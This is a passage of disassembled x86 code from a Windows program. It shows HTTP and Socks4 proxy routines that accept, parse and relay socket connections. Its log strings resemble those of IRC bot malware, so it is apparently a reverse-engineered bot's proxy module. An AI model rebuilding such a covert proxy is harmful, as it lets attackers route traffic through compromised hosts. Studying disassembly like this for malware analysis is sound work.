		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 2841E5Ch


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		call	near ptr 2841E5Ch
		nop
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2841E5Ch
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		call	near ptr 2841E5Ch
		nop
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
